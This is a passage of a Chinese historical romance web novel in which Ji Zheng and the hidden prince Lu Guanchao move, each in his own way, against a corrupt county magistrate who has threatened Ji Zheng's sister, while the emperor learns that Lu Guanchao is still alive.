陆观潮停下动作,认真的看向季铮,“胡说,别人都是贴秋膘,到你这反而倒过来,这几日夜里我总见你皱眉头,那天你自己写了什么也不和我说,偷偷交给陈昇以为我没发现吗。” 陈昇哭了好几天,终于调节好情绪,季铮考虑,一方面让他多出去逛逛,一方面不想在见董县令,所以托陈昇去送了。 季铮哑声了。 陆观潮又道,“你给谁写了信,连我也不能说。” 季铮对上陆观潮的眼神,犹豫再三还是说了,“说来话长,是董县令。” 他不和陆观潮说的原因就是不想他插手,对付董县令,他还不至于找外援。 “董县令,那头猪?”陆观潮脸上露出嫌弃之色,轻嗤道,“就他 ?也值得你烦心。” 季铮被逗笑了,“干嘛这么说,不礼貌。” 有一说一,董县令确实……珠圆玉润。 陆观潮道,“他怎么得罪你了,我替你收拾他。” “收拾不用。”季铮解释道,“那日你不在,我去找陈昇回来在家里遇见他,刘村的人许是想换些钱,把辕犁图纸交出去了,董县令得知是我做的,想请我去做幕僚……” 他还没说完,陆观潮勃然大怒,“胆子不小,敢抢我的人。” 季铮眼皮一跳,又听陆观潮气鼓鼓的威胁道,“你是我的人,我提前就订下了的,你不许答应他,他不是什么好东西。” 瞧他的样子,仿佛下一秒就要杀上县令府。 季铮怕的就是这个,忙安抚道,“当然,我不会同意的。” 陆观潮听他保证,才稍稍缓和语气,“你也是,为何要贱卖给刘村。” 嘴上这么说,季铮能听出来,话里没有埋怨他的意思,不禁心头一暖。 季铮笑笑,“世事难料,我也想不到会发生这种事,这次记住了,下次再不会犯好不好。” 话出口,是自己都没意识到的宠溺,不仅如此,连陆观潮那句占有欲十足的“我的人”,他都没觉得有什么不对。 陆观潮很好哄,这一句话下来,气几乎全消了,他问,“你打算怎么做,要不要我帮忙。” “还要感谢刘村的人,给我找了个突破口。”季铮道,“拖,他这人急性子,不择手段,我要做的就是拖,等他等不及了,你放心,必要时候我会告诉你的。” 陆观潮不赞同,“太危险了,你不知道他会做出什么来,还是让我直接出面为好。” 季铮啧道,“你出面岂不是更危险,别忘了你现在还是个死人。” “他知道我。”陆观潮道,“他早年行商发家,买了个小官,打通了节度使的关系,后来那节度使调往幽州,他辗转搭上我营中门客,我的尸体,就是他给找的。” 季铮轻拍了陆观潮一下,“那你就更不能出面了,我此番是要整他,你要是帮忙,关系不就闹僵了吗,他恼羞成怒把你还活着的消息透露出去怎么办。” 陆观潮不服气,环胸而立,“他不敢。” “人逼急了什么都干得出来。”季铮道,“这件事你不用管,我自己能行。” 陆观潮张了张嘴,就听门外传来季秧带着哭腔的声音。 “阿兄。” 季铮转头一看,季秧委屈的站在门外,跟着面含愧疚的李芸和宋有音。 “这是怎么了?”季铮一脸懵,上前迎了一步,接住季秧拍了拍,“和阿兄说说。” 季秧再抬头,泪眼汪汪的呜咽道,“阿兄,县令今日来茶坊了……” 季铮心跳漏了一拍,不会吧,这死肥猪在他这碰壁,改去骚扰季秧了?! 他问道,“他可说了什么?” 季秧抽抽搭搭的没说出个所以然,还是李芸开口道,“董县令的意思,是想聘季秧为妾。” 季铮攥紧拳头,“他活腻味了不成?” 这还拖个屁,季铮巴不得姓董的赶紧下岗。 44. 第 44 章 陆观潮半哀求半威胁的跟着季铮念叨了一晚上要跟着去,全被季铮拒绝,深受打击,第二日干脆闭门不出了。 季铮早上起床的时候还好好的,陆观潮质问他当真不许跟着?在他一本正经说不行后,陆观潮就变成这样了。 昨日宋有音与李芸将季秧送回来,因季秧实在低落,说不出详细经过,季铮不想逼她,只得借口送人向宋有音了解。 宋有音满目愁容道,“听季秧说她曾经更过名,董县令叫人查了名册,说来也是我不对,几日前我曾让季秧待我联系旧友购入一批进货,许是途中暴露了姓名,辗转查到茶坊来。” 这时季秧已经平和好情绪,道,“无碍,董县令这番动作与我而言并不是坏事,你不必愧疚。” 他在信中称家里有个妹妹,正是引董县令上钩,季秧说过两人在有云茶坊碰过面,而董县令似乎对其很感兴趣,季铮拿准了董县令贪多贪足的毛病。 董县令在他这碰壁,退而求其次,强娶季秧,信中不是说家妹没出嫁,这下出嫁了,季铮没了理由,不得乖乖将法子双手献上,心甘情愿的卖命。 只是季铮没想到,董县令动手这么快,要不是宋有音扯谎季秧没上工,怕真叫他得逞了。 他承认这么做不厚道,在看到季秧受委屈时还是没忍住动摇了,但事已至此,再后悔也来不及了,更何况他有信心能保住季秧,绝对不会再伤她一分一毫。 李芸焦急道,“怎么不是坏事,你不知董县令的险恶——” 宋有音拉了她一把,示意她少说几句,“季生员既然这么说,那就是有法子。” 说罢,她小心翼翼的看向季铮,问,“是吗?” “自然,我不会再让季秧涉险。”季铮转而道,“李娘子只道我不知董县令,可你也不肯说他具体行径,我怎知他的好恶。” 季铮是听闻了李芸之事,不过仅仅是表层,李芸性子傲,不愿多说,他想从李芸这条线推倒董县令,季秧只是导火索,必定要知道其中全部。 李芸眉头微蹙,怒道,“我说不说有什么打紧,他不问心意,不经官府,就要强占良女,你难道没听坊间传闻,他每月纳入多少妾侍,又要送出多少尸体,这还看不出来吗?” 李芸听不出来其中深意,宋有音算是摸到一二,她叹了一口气道,“李芸,你且告诉季生员吧。” 季铮笑了笑,作洗耳恭听样。 “也罢,陈年旧事说一说又掉不了皮肉。”李芸犹豫片刻,这话也不知是真不在意,还是在劝自己。 县令府位于陇县,紧邻卫镇,其次是吴阳镇,浮水镇要更偏一些,李芸就是看准了这一点,才藏去那里。 李芸原名不叫李芸,而是香芸儿,陇县县中某酒楼的歌姬,凭点茶的手艺站稳脚尖,一次宴席上为县令点茶被瞧上。 人不愿,奈何董县令此人丧心病狂,酒楼老板又见钱眼开,连夜麻利的把人送去,入府后非打即骂,无疑是刀尖上舔血,步履维艰。 李芸便想了个法子,装死混进一堆尸体里偷跑了出走,不料同铺的姊妹为求保命,将此事上报主母,彼时她已经逃到浮水镇,在茶坊安顿下来,本以为不会被发现,没承想。 季铮闻言,抽出手帕递给李芸,“别怕,他嘚瑟不了几天了。” 李芸这才发觉自己泪流了满脸,她迟疑须臾,接过却没用,胡乱用袖子擦了一遍。 “季生员。”宋有音担忧问,“别怪我多嘴,只是董县令位高权重,坊间人都传他与土匪有交情,你千万小心。” 季铮道,“我话说出去了,那就是拿准了,不过有一事我想请教你,出茶坊百米之外有一间酒肆,你可认得老板?” 宋有音对酒肆印象极深,把自己觉得奇怪的地方一一道来,“这老板从不露面,据说手下产业良多,不甚在意收益,我倒是与他们店里的伙计见过面,这伙计八面玲珑,似乎有些身手,” 她忽然想到什么,补充道,“我曾见过,店里的小二和走镖的当家笑谈风声。” 季铮说的酒肆,正是陆观潮喝醉过的那间,当时他就觉得酒肆老板不简单,只是没往深处考虑,到现在仔细想来才敢确定,这老板一定不简单,最起码足够帮他一把。 毕竟不在意钱财,对镖局也不谄媚,一天到头都不在店里,必定非富即贵,而普通财主怎会可以隐藏身份,若他没猜错的话,此人或许是官场之人。 季铮这样想着,再一次敲响房门道,“不是不让你去,是你去实在不合适。” 依照陆观潮的毛病,不可能忍住不出手,倘若酒肆老板当真可以助他一臂之力,人也未必愿意淌这趟浑水,到时候陆观潮一威胁不坏事了吗。 屋内了无声息,季铮只好道,“罢了,我回来在和你解释。” 依旧没有任何回应,季铮转头看见季秧,昨夜陆观潮先是哄了一通,季铮了解完情况后,又哄了几句,今日看起来是好些了,但被狗咬一口打了针还疼呢,踩到董县令这泡屎,自然是要恶心几天的。 季秧问道,“陆先生生病了吗?” “不是。”季铮不知怎么和她讲,总不能说你陆先生这么大了,还闹小脾气吧,憋了半天,他道,“他累了,别打扰他哈。” 季秧懵懵懂懂的送走季铮,看着季铮的背影,几番欲言又止,最后道,“阿兄,你多保重。” 事后,季铮和他们说了计划,虽然觉得不切实际,但季铮再三保证,她也不能说什么,大不了还有陆先生嘛,哦不对,是珏王殿下。 阿兄也是的,有珏王这么粗的大腿不用,还瞒了她如此久,她不是个碎嘴子,又不会往外乱说。 季铮不在时,陆观潮三言两语没说清楚,竟叫季秧误会了季铮不告诉她是不想她涉险的良苦用心,季铮也万万想不到,他就不在一会,陆观潮居然把什么都抖露出去了。 人走后,另一个路口走来一人,正是陆观潮,他扛着锄头,看样子是刚松土回来。 见季秧站在门口,左右看了看,“你怎么在这,季铮呢?” 季秧眨了眨眼,“陆先生……啊,殿下没在房里吗。” 他没在房里,那阿兄在门口敲了一早上敲了个什么劲。 “还叫先生就行。”陆观潮道,“我做完饭就走了,之前不也是这样,你们不知道?” 这样算算,是季铮洗漱那段时间。 “……” 季秧尴尬的捂住脸。 陆观潮眼皮一跳,“你阿兄走了?” 季铮点点头。 “走了正好。”陆观潮放下锄头,拍了拍衣服上沾到的土,“我们也走。” 季铮不让他管,怎么可能,涉及季铮的事,他无论如何都要亲力亲为,更何况对方还是不要命的敢觊觎季铮,陆观潮自有自己道理,季铮的法子可行是可行,不过太慢了,他可忍不了这么长时间。 季秧不解,“我们?要去哪?” “那个县令不是欺负你吗。”陆观潮一颔首,“我带你去欺负回来。” 季秧瞠目结舌。 这么轻飘飘吗? 酒肆无人,店小二闭目养神,季铮进店,门口悬挂的铃铛叮铃铃的响了一阵,店小二睁眼看到有人来,忙起身,“客人吃什么酒。” 季铮径直走到柜台,“劳驾,我不喝酒,想见见你们东家,谈一场生意。” 小二眼一眯,恍然反应出什么,似是不确定的问了一句,“客人之前来过吧。” “好眼力。”季铮笑道,“没想到你还记得,上次我是与另一位公子一起。” 小二道,“怎么能忘,我们东家几次拜访才搭上镖局连二当家的线,你只见 了一面便结交了,东家向我单独问了你,公子稍等,我去告之东家,若方便,能否留下姓名。” “季铮。” 小二眼眸微睁,“显化二年,陇县生员?” 季铮奇道,“你认得我。” 看来这酒肆老板不简单没跑了。 小二态度认真起来,“生员赫赫大名,谁人不知,当年廪膳生,见过您文章便忘不掉,潇洒非常,连大都的人都有耳闻,我门东家看后,曾对我说,此子必成大器。” 他顿了一下,又道,“不过可惜我家东家调任以来,您没入县学,联系不上您,这份缘分便耽误了。” 季铮问,“你家东家是?” 小二解释道,“有此缘分,告之也无妨,我家东家为四年前调任来的节度使,王介夫王大人。” “原是王大人。”季铮抬手虚虚一摆,又问,“不知该怎么称呼?” 小二道,“不必客气,我乃王大人门客王实,叫我王实就好。” 王实容貌端正,笑着时极讨喜,不笑时反倒显得有些冷,他本来长的就是一副严肃相。 两人说罢,王实将他安顿下来,关了店,出去请人了。 不多时,王实带人进来,来人衣着整洁,袖口洗得发白,紧皱着眉头,风度不凡,一举一动规矩极了,这就是王介夫王节度使了。 季铮还是第一次见到书上写的权利大过县令的节度使,果然是比董县令有风骨。 他再度拜了拜,“王大人。” 这一主一门客,宛如一个模子刻出来了,门客严肃,这王大人,也时时刻刻僵着脸。 王介夫快走了两步,实实在在的扶住季铮,季铮再抬眼,只见王介夫换了表情,满眼惜才之情。 “快快请起,与我不要多礼。”他打量季铮几眼,果然如他做的文章那样,是个锋芒毕露,明眸皓齿的少年,顿时爱才之心更甚。 王介夫喜道,“我读过你的文章,用词经典不俗,行云流水,字字珠玑,我读之酣畅淋漓啊!今日可是见到你了。” 原身是闯了多大的气运啊,季铮被说的有些蒙,但不妨碍他应下美名。 “不敢当,能得王大人眷顾才是万幸。” 王介夫继续道,“我几日前听王实说,店里来了个与连和盛一见如故的儿郎,还猜这陇县水秀山明,养出这么多好儿郎,原来是你,看来你我缘分不浅。” “王大人谬赞了。”季铮推辞道,“还要感谢王实先生替我联系你。” 王介夫回头朝王实一点头,“你此番立了大功,多谢。” “不敢,属下分内之事。”王实说罢,一点头,搬起个板凳去门外守着了。 王介夫接着感概,“我得朝中排挤,被调任这云州做一节度使,明面上是升迁,可除了圣上,谁人不知陇县董县令最难对付,本想着云州还有一个你,也算了有慰籍,却……害,如今既然重新见识到,便不再提了。” 季铮可算是知道为何被排挤了,才和他人初见,这么大嘴巴,谁敢多相交,他咳嗽一声,主动换话题,“王大人匆匆赶来,可累了?” “啊!”王介夫总算明白过来自己说多了,不免害臊,哈哈了两声,“我正在不远处,过来不用多长时间,不累。” 两人坐下,王介夫问,“你是如何得知我是这酒肆老板的?” 季铮道,“那日来店里,得知老板与四季镖局关系好,在这世道有如此前瞻目睹,必不是普通人,又问道您家业繁多,又不常露面,就更怀疑了,本不敢确定,可我一向运气好,没想到一猜就猜准了。” 见王介夫惊讶,季铮退而道,“我只猜您不简单,却没想到是节度使大人,出乎意料。” 王介夫笑骂,“狂妄。” 季铮一怔,又听王介夫道,“我就喜欢这性子!” 45. 第 45 章 陆观潮没去县令府,而是找了个酒楼,随便叫酒楼一个小厮去传信,又点了一桌饭菜让季秧吃。 季铮总说他脾气奇怪,他也承认,自己不太会和人交往。 对赵年及一众门客下属,他不如镇南王会通融,只赏罚分明,一点情面也不留,对元元芳芳这些猫啊宠物啊,他更不得了,强占到手便是。 这样的性子对敌军自然是再好不过,可惜做人不能时时在战场上。 其中最特殊的无非是季铮了,可他对季铮,也没好到哪里去,使性子耍脾气,哪样都没落下,也就季铮好性格,肯包容他,不然他没了这层身份,谁会搭理他。 因此,他再次在心中确认,他陆观潮不能让季铮被任何人抢走。 因此,爱屋及乌,面对季秧也多了点耐心。 不过到底是个小姑娘,他鲜少单独见娘子,于是更不知所措了。 昨日季铮不在,季秧一个人抽泣,按理说他得哄一哄,无奈千言万语硬是憋不出来,最后说出个,“我替你报复回去。” 季秧没明说,但陆观潮也听出来了,人没信。 效率至上的陆观潮,干脆自报家门,迎着季秧震惊的表情,变相的“得逞”了。 桌上季秧小心翼翼的啃着点心,陆观潮心道,或许是和季铮日夜相处了,与他人交往好像也不难了。 季秧却捧着点心,欲哭无泪,一边的陆观潮正襟危坐,显得气氛愈发冷厉。 她果不其然不能和陆先生待得时间久,待得越久,就越坐立不安。 早知道就不和陆先生一起来了啊! 没过多久,小厮进来殷勤道,“客人,您要见到贵人来了。” 他不知陆观潮是谁,但知道请的人是谁,见董县令态度恭敬,对陆观潮多了惧意,弯着腰说完,怕人厌烦退出去了。 小厮走后,门外传来扣门声,是董县令,“殿下,下职在。” 陆观潮没回话,而是敏锐察觉到季秧微微战栗了一下,问季秧道,“怕他吗?” 季秧咽下点心,实话实说道,“怕。” “那就先躲起来,我叫你时再出来。”陆观潮说罢,指向厢房隔间。 季秧老实起身要过去,陆观潮又叫住她,“拿去吃。” 手里被塞进一盘点心,正是她方才啃的那盘,季秧丈二和尚摸不到头脑,只得接了再走。 陆观潮等她躲好,才开口,“进来。” 董县令比上次见时更胆怯了,战战兢兢的跪下,丝毫不见在别人那的蛮横。 他不知陆观潮为何急匆匆的叫他,正心惊胆战,小心问,“殿下何事吩咐。” 陆观潮依然不出声,指节轻叩桌面,声音不大,传到董县令耳里,宛如轰雷劈中神经,整个人都要跪不住了。 煞星的名号深入人心,还是很好用的。 陆观潮笑了笑,“无碍,今日路过想起你了,请你来吃顿便饭。” 董县令松了一口气,就要起身,又听陆观潮道,“谁让你起身了?” “下职知错。”董县令又结结实实的跪下下去。 陆观潮拿起筷子,拨弄桌上一盘菜,漫不尽心道,“董何维,本王从前不曾认识你,不知你是这么一个人,这些日子一见,倒和本王想象中大不相同。” 董县令听到自己名讳不由一抖,磕磕绊绊道,“下职不懂,殿下的意思。” 陆观潮轻笑,“别这么害怕,本王还没说完呢。” 对着抖个不停的董何维,陆观潮又说,“我以为你这样的人庸俗,失不了小家子气,不料你却是融合的极好,比从小在官场翻滚数十年的老油条还威风。” 董县令拿不准陆观潮的意思,但看他笑着,大着胆子应下,“下职惭愧。” 一时寂静。 董县令又忍不住背后冒冷汗。 就听陆观潮道,“你以为我在夸你呢?” 听到一切的季秧,糕点都啃不动了,低低笑了一声。 这声笑分外明显,董县令这才发现厢房内还有一个人,他觉得熟悉,但不敢抬头确认。 陆观潮道,“季秧,出来吗?” 季秧咳嗽几声,这玩笑过后,也不怕董县令了,平复好还想笑的心情,放下盘中吃了一半的糕点,掀开帘子走出来。 帘子一动,连带着挂着的链子碰撞泠泠作响,董县令下意识看去,就见昨日还鹌鹑似的人现在狐假虎威,神气的无识董县令,坐到桌前。 董县令跌坐,指着季秧道,“你……你!” 季秧昂起下巴,“董县令,我怎么了?” “你竟是珏王殿下的人?!”董县令悔不当初,怎么就招惹了这么一位! 季秧脸一红,语无伦次辩解道,“啊!你误会了,我不是,我,我阿兄是……不对,我阿兄也不是……” 陆观潮扶额,“你不用说话。” “哦。”季秧搓了搓脸,闭了嘴。 董何维还陷在这惊天消息中,睁大眼睛嘴唇嗫嚅,他还是识时务的,半晌,他跪爬到陆观潮脚边,“下职万死,有眼不识泰山,还望殿下原谅我一次!” “现在求我?”陆观潮冷冷一笑,“太晚了吧,你早干什么去了。” 董何维一连磕了几个响头,道歉求饶的话不间断,喊叫了半天发现陆观潮压根没听,眼珠子一转,又跑到季秧边上哭诉。 “姑奶奶是我胆大妄为,竟敢招惹您,该打该死,您大人不计小人过,通通情分,绕过我一劫……” 季秧第一次见这场面,吓得不知该怎么做,忙站起身往后退,“董,董县令,你不必对我说。” 这可是县令啊!为富一方的董县令,谁人不卑躬屈膝,却跪在自己面前祈求。 陆观潮撇他一眼,问季秧道,“原谅吗?” 季秧吓都要吓死,哪敢说不原谅,忙点头,“原谅原谅。” “起吧。”陆观潮厉声道,“季家兄妹是本王罩着的人,你再敢把你那坏心思使出来,就不是这么简单了。” 自然,他就是对着别人使,陆观潮也不可能放过他。 “是是是。”董何维颤着身子站起,绷着身体不知下一步该做什么。 陆观潮看他那身肥肉就倒胃口,不耐烦道,“还不走?” 董何维忙不迭的闪身离开。 出门后,他愤愤不平,气得脸色通红,一身肉颤抖,斜眼瞧见小厮讨好的笑脸,一脚踹上去,还不解气,又补了几脚。 小厮被踹的求饶,一时不慎,滚下台阶,额头撞破淌下一行血水,董何维这才解气。 他在心底骂道,好一个陆观潮,区区一个人人厌弃的弃子煞星,还不如他,和他拽什么? 头破血流的那小厮不敢哀嚎,忍痛爬起来,等董何维再打 ,一边偷偷观察董何维的表情。 董何维脸上的肉皱到一起,狰狞极了,小厮心惊,别过头不再看。 好样的陆观潮,董何维气过,心底浮现一个诡计,是他陆观潮不看情面在先,就别怪他不义了。 真不知他还活着的消息被圣上得知后,陆观潮还能不能笑出来。 思及此,董何维阴恻恻的笑了一笑,步履都轻快了不少。 小厮没等到下一脚,暗自庆幸,随意擦了把跟上。 厢房内,季秧拍拍胸脯,感叹道,“原来董县令这么嚣张的人,也有求饶的一天。” 陆观潮道,“权力地位前,是神是鬼都得掂量掂量。” 季秧似懂非懂,但不妨碍她大为所动。 陆观潮起身,他不穿华贵衣裳,单一身粗布麻衣,碎布发带,气质浑然天成,威压震得人喘不过气。 季秧肃然起敬,对穿越煞星的名号嗤之以鼻,陆先生这么好的人,还愿帮他,又和阿兄关系好,怎么可能是煞星,福星还差不多。 发着发着呆,陆观潮道,“你还要吃?” “我都可以!” “那就打包走。”陆观潮彻底被董何维恶心的没吃东西的心情,另一方面,他要快点回去见季铮,和季铮邀功。 另一边,季铮对王介夫道出意图状告董何维的打算。 意料之中,王介夫正有此意,不然也不会联系镖局的人。 那么一切都好办了,季铮和王介夫互通了手头进度,双双心中有了底。 季铮这下是真能保证天衣无缝了。 季铮手中有三庄案子,其一,李芸所言草菅人命之事,连带着常埋尸之处都一并告知,人证物证俱全。 其二,强占民女,还是季铮这个半只脚踏入官场的家妹,更见猖狂。 其三,滥用私刑,季铮还是误打误撞收集到的。 董县令上门当夜,刘村长之子找上门来,哭称父亲去董县令那,许久都没回家,季铮诈了几句,这孩子就把刘村长用曲辕犁换官职的事一五一十的说了。 季铮气虽气,但为了长久之计,带着陆观潮去寻,在卫镇边上找到奄奄一息的刘帆,在他身上看到官刑的官印,如今这印字还消不下去,这不就用上了。 董何维在王介夫那可以遮掩,乃至王介夫知道,却没有确切证据。 王介夫无可奈何,这些年仅仅与镖局查出董何维官匪勾结,董何维朝中眼线不少,这一条不足以除干净,如今加上季铮这三条,董何维就算认得圣上也逃不了。 说来可笑,本万无一失的,可董何维为非作歹时间长了,认为没人能奈何他,也不屑去遮掩,被季铮钻了空子。 ——自作孽,不可活。 两人商量完,王介夫亲自送季铮离开,临分离道,“我今日就上奏,你可以放宽心,朝中我还是有一两知心好友。” “我自是信服大人。” 王介夫又迟疑道,“你久不入仕,折子上我为你提个什么功劳好,要不要趁此挣个官职出来?” “何必多虑,随意说说就好。”季铮看了看日头,已经不早了,他示意王介夫看天边最后一行大雁,道: “冬天要到了,你瞧,这行大雁飞得这么晚,是不是会躲清闲,也幸好飞得晚,能多受些风波,来日不怕雨水。” 王介夫若有所思,“我知道了。” 46. 第 46 章 季铮到家时,陆观潮已经和季秧准备好饭菜,正等在桌前。 他见季秧心情不错,甚至笑嘻嘻的拉他上桌,稀奇的看向陆观潮,“你做什么了?” 还没问完,就看见桌上一桌饭菜,很明显,这菜色不像是陆观潮能做出来的。 要知道陆观潮虽下厨勤快,但厨艺实在不好恭维,只能说普普通通,好在季秧吃东西不挑,季铮也不好意思打击他的好心,从前赵年在的时候更是不敢说一个不字。 偏偏陆观潮当真了,以为自己的厨艺不差,包揽了做饭的活,日子久了季铮就习惯了。 以至于乍一看到桌上不一样的菜吓了一跳,还当陆观潮进修厨艺学成归来了。 季秧道,“这是陆先生买的,还热着呢,阿兄快来吃。” 季铮眼皮狠狠一跳,总觉得有些不对的地方,但看着陆观潮殷殷期待的眼神,还是坐下了。 他坐下,想起走前怎么敲门陆观潮都不应,心下觉得要给人好好解释一番,以免陆观潮不满。 季铮道,“我今日去了一趟上次结识连和盛的酒肆酒肆,见到了酒肆老板。” “怎么。”陆观潮不解问,“那酒肆老板还真不简单?” 季铮点点头,“确实,人是云州节度使王大人,近来也在调查董县令,我们互通了首尾。” 陆观潮眯着眼思索片刻,才想起来这个人,“王介夫?” “正是。”季铮问道,“你认识?” 陆观潮略一回忆,道,“算不上认识,前几年回大都述职有过一面之缘,后来见不到了,我还以为他被罢官了,原来到这了,若是他的话,会查董县令倒不足为奇,不过……” 他顿了一下,脸色有些僵硬,“不过,他居然肯与人一起做事,真是稀奇,但这人换做是你,也能说得通。” 季铮挑眉,“这是什么意思,王介夫鲜少与人相交?” “差不多。”陆观潮讲道,“王介夫出身太原王氏,王氏朝中地位颇高,屈居孙国舅孙氏之下,他本人位及礼部侍郎,想结交他的良多,连陆泽都高看他。” “我并未与他说过几句话,王介夫此人性子犟,认死理,也看人,人又古板不懂变通,总被强占功劳,一直以来独来独往,不参加任何宴邀,一把年纪都没娶妻,旁人都道他不能人道。” 说到这,陆观潮察觉桌上还有季秧,轻咳一声岔开话题,“人总是对不同于自己的事物排斥,因此,朝中大半都看不下他,听赵年说,朝中孙国舅无法无天,状告王氏一族贪污受贿,王介夫许是那时被外放了。” 季铮奇道,“说是外放,可节度使一职实权更多,也够风光不失体面,云州离大都不远,唯一的坏处就是董何维这么个难缠的小县令,可难保别的地方就安定,怎么看都是赚了。” “这么说也没错。”陆观潮道,“王介夫做节度使不过是过度罢了,陆泽手下留情了,待到孙氏被处理干净,未尝不会再调回去。” 季铮笑了,“太好了,如此看来他在殿前还是有点地位的,这么说他上奏状告董何维是十拿九稳了。” 陆观潮一愣,“你和他商议的结果,是告御状?” “对啊。”季铮眨眨眼,“这是最稳妥的办法,就是慢了些,可借皇上之手,有皇上亲口论功行赏,我要入仕也添了一行背景。” 季秧眼眸一亮,“当真?!” 她错了,阿兄的办法一点都不会不切实际,可…… 季秧偷偷看向陆观潮,这不就和陆先生的起冲突了吗。 完蛋了。 陆观潮自觉闯祸了,他之前只知道季铮要去找酒肆老板联手,认为是打算阴董何维产业一手,不知是为了上告。 按照他的想法,先去威胁了董何维一顿,叫董何维恼羞成怒捅露他还活着的消息,而这段时间陆泽要对孙太后下手,应接不暇,他正好借此机会回大都。 一来安全复位,二来董何维再有怨气也不敢动季铮,他回头私下再处理掉就好了,一箭双雕。 这下可怎么办,董何维经此一事必定会得陆泽青眼,就算御状报上去,陆泽看在这份上必然会睁一只眼闭一只眼,糊弄过去,届时董何维大概率没有处罚,反而还要被赏赐。 陆观潮误打误撞,打乱了季铮的计划。 他捂住额头,有点不敢看季铮的脸,真是的,他要复位什么时候什么理由都能,干什么急于一时,孙太后下台后也一样,怎么运气这么差,就撞上季铮的事了。 都怪他,没有事先和季铮说清楚,大早上的乱耍什么脾气。 这边陆观潮正后悔着,就听季铮问,“对了,你上午去镇里做什么了,买了这么多菜?” “……” 季秧刚要开口,就被陆观潮打断,他铿锵有力道,“只是买菜。” 无论如何,这件事不能让季铮知道。 “谢谢啊……”季铮表情迟疑,“早起跑出去,耽误一上午就为了几盘菜,辛苦你了。” 心里却道,这人一定还干了别的。 果不其然,这话刚撂下,季铮瞥到陆观潮眼底一晃而过的心虚。 “哈哈。”季秧察觉出气氛不对劲,双手合十打哈哈道,“我们快吃吧,我都要饿了。” 陆观潮闻言站起身,“你们吃,我去烧水。” 这一句,彻底断绝了季铮要问话的心思,罢了,左右陆观潮也不会做什么惊天地泣鬼神的事。 显化七年,孙太后于建章宫晕倒,太医诊断,太后年事已高,素日忧思过重,帝大悲,如今虽康健,但切忌多思多虑。 于是,陆泽提议,孙太后暂且去热河行宫修养些时日,变相的将孙太后遣出大都,夺了其手中诸权,尽数掌握在手,连带着孙国舅手中势力一并腰斩。 而这所有经过,不过三天时间,在所有人都没反应过来之际,孙太后已经坐上前往热河的仪仗。 圣宸宫。 快要入冬,陆泽本就小病不断,大病常在的身子愈发严重,宫内早早烧上金丝碳,热得一众宫人直冒汗。 福寿禄正研墨,忽的听到陆泽哼出一声小调,忙殷勤拍马屁讨好,“圣上,奴才听说城外新来了一队勾栏瓦舍,可要召见来御花园演一出?” “你倒是机灵。”陆泽笑骂几句,大手一挥放下朱笔,吩咐道,“去吧,宫内好久没热闹热闹了。” 他说罢,又想起才送走孙太后,换言道,“母后才离开,朕一心玩乐实在不妥,还是朕出宫去一趟吧。” “是!”福寿禄笑意盈盈的应下,出去吩咐相关事宜了。 没过多久,福寿禄迈着小步子急匆匆的赶进来。 陆泽一皱眉,“何事如此匆忙。” 一回头,就见福寿禄难得露出惊慌失措的表情,陆泽不由心底一慌。 下一秒,福寿禄战战兢兢道,“圣上,云州陇县县令呈上折子……” “云州陇县?”陆泽心底更慌了,“董何维?” “正是。”福寿禄将折子递上去。 陆泽低头看着这一折折子,迟迟无法鼓起勇气打开,垂在袖中的手微微颤抖。 该不会,该不会…… 不可能,陆观潮不可能还活着,他亲眼看过尸体的,定是这董何维胆大包天,来向他讨要赏赐了。 对,一定是这样。 按陆观潮这厮的从前的性子,要是还活着,不得杀来大都? 陆泽这样想着,稍稍安稳些许,他挥退一众宫人,终于鼓起勇气伸手打开折子。< /p>只一眼,陆泽没忍住眼前一黑,脚下一个踉跄,脑中嗡嗡作响。 陆观潮,没死…… 陆泽想起登基前钦天监的预言,陆观潮果真是煞星转世,此生命中注定要来索他命的,尽管他做了无数多法事,也不能撼动分毫改变命运吗。 董何维这个蠢货,竟然敢隐瞒他至此! 福寿禄疾走几步扶住陆泽,朝外喊道,“快请李太医来,圣上旧疾复发了!” 陆泽最后听到这一句,再也坚持不止头一沉栽倒在地。 季铮在家中等了几天,一点消息也没等来。 不仅是王介夫那边,预计着还会来闹一次事的董何维也不见踪迹, 大都与云州不远,这个时间足够一个来回了,季铮不禁纳闷,可王杰文拍着胸脯保证折子递上去了,他只好再等等。 期间宋有音和李芸来过一次,旁敲侧击的问过一次,季铮没打算隐瞒,干脆全盘托出,两人也奇怪,明明是万无一失的,怎么就出了问题。 最奇怪的是陆观潮,自从那次之后,他像是做错了什么事一般,减少了和季铮扭扭捏捏的频率,尤其是这时,一听到季铮感概,喂鸡喂到一半,要跑去地里看看麦子。 “好吧。”季铮拍怕屁股跟着站起来,“我也没事,和你一起去散散心吧。” 陆观潮牵强一笑,“不必,你歇着吧。” 季铮狐疑的盯着他看了一会,“我陪你不好吗。” 好啊,当然好了,好极了。 陆观潮内心叫苦,可相比之下,被季铮发现的恐惧盖过了和季铮一起的诱惑。 他咬咬牙道,“外面风大,看天气一会要下雨,你就在家等我。” 季铮不再强求,“也行。” 就当陆观潮以为躲过一劫时,季铮的声音猝不及防的钻入耳中。 “陆观潮,”季铮道,“你好像很不会撒谎。” 陆观潮咯噔一下,没话说了。 陆泽晕了两天才醒,李不言也忙了两天两夜,顶着乌青的黑眼圈走出殿外,险些左脚绊右脚,原地对着天地磕个头。 福寿禄象征性的慰问几句,端着这几日积攒的折子送进去。 其中就有王介夫的一份,陆泽醒后身子没什么大问题。 他对王介夫有些好感,便先看了王介夫的折子,在看到董县令董何维这个熟悉的名字骤然一顿,继续看内容可算懂了董何维为什么瞒到现在。 在这等着他呢。 陆泽气笑了,祸到临头了肯抖搂出来了。 他叫来纸笔,朱笔刷刷几下写成,福寿禄接过看了一眼,瞳孔一缩,惊道,“圣上……” 陆泽一阵咳嗽,“就这么办,我就不信了,煞星难道还天下无敌,万害难侵了不成?” 屋外惊雷一闪,冷风呼呼作响,显得陆泽的面目更险恶了,纸上正写着,“董何维胆大妄为,朕念在你尚且知错,免除一死,愿卿知悔改,清君侧。” 另一边,陆观潮打了个喷嚏,他抬眼看看天色,这场雨没完没了了,一连下了三天,可别把季铮的麦子淹死了,季铮正还看他不顺眼呢。 那日他迫于季铮眼神攻势,把自己干的事说了干净,气的季铮苦笑连连,称看到陆观潮的脸会想揍他搬到另一间空房,直到现在还没搬回来。 这是没抱季铮睡觉的第三天,也不知道季铮夜里自己一个人睡冷不冷。 他冷的心都寒了。 唯一值得庆幸的是,最起码季铮还原因吃他做的饭。 陆观潮感慨完,天边直愣愣的冲他飞来一只鸽子,他稳稳接住,熟练的解开腿上的纸条。 是大都的消息,陆观潮看完灵光一闪。 终于有挽回季铮的东西了! 47. 第 47 章 “你的意思是,这次恐怕不成了?” 